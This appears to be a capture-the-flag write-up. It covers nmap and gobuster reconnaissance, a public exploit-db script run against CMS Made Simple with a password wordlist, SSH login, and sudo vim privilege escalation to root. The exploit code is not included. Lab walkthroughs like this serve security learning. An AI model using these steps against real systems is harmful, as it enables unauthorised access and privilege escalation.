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Nmap Scan

The first step of my enumeration was a scan with nmap. by the command:

nmap -sC
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-22 13:14 EDT
Nmap scan report for
Host is up (0.11s latency).
Not shown: 997 filtered ports
21/tcp   open  ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
80/tcp   open  http
| http-robots.txt: 2 disallowed entries 
|_/ /openemr-5_0_1_3 
|_http-title: Apache2 Ubuntu Default Page: It works
2222/tcp open  EtherNetIP-1
| ssh-hostkey: 
|   2048 29:42:69:14:9e:ca:d9:17:98:8c:27:72:3a:cd:a9:23 (RSA)
|   256 9b:d1:65:07:51:08:00:61:98:de:95:ed:3a:e3:81:1c (ECDSA)
|_  256 12:65:1b:61:cf:4d:e5:75:fe:f4:e8:d4:6e:10:2a:f6 (ED25519)

Nmap done: 1 IP address (1 host up) scanned in 40.71 seconds

The “Nmap Output” displayed 2 services running under port 1000 and ssh service running on the higher port.

Gobuster Scan

I next decided to run a gobuster scan on the webserver to see if there were any interesting hidden directories, by the command:

gobuster dir -u  -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -x html,xml,php



Browsing to gives us the version of CMS Made Simple:


I then searched for the cve on exploit-db and found the cve with the exploit:



Then I run the exploit using python (version 2.7) inside a virtual environment:

python cms_pa.py -u -c -w rockyou.txt


User Flag

And now I tried to access SSH with the credentials that We found:

ssh -p 2222 mitch@

Let's check the current dir for a flag:

G00d *************

Root Flag

So now I tried the infamous sudo -l comand to privilege escalate the system

sudo -l

And i found that mitch can run vim with root privileges with NOPASSWD

User mitch may run the following commands on Machine:
    (root) NOPASSWD: /usr/bin/vim

So I checked GTFObins so that I spawn a bash shell as root.


And now we're root, Let's check the root dir for a flag:

W3ll d*****************

Thanks for reading!!!


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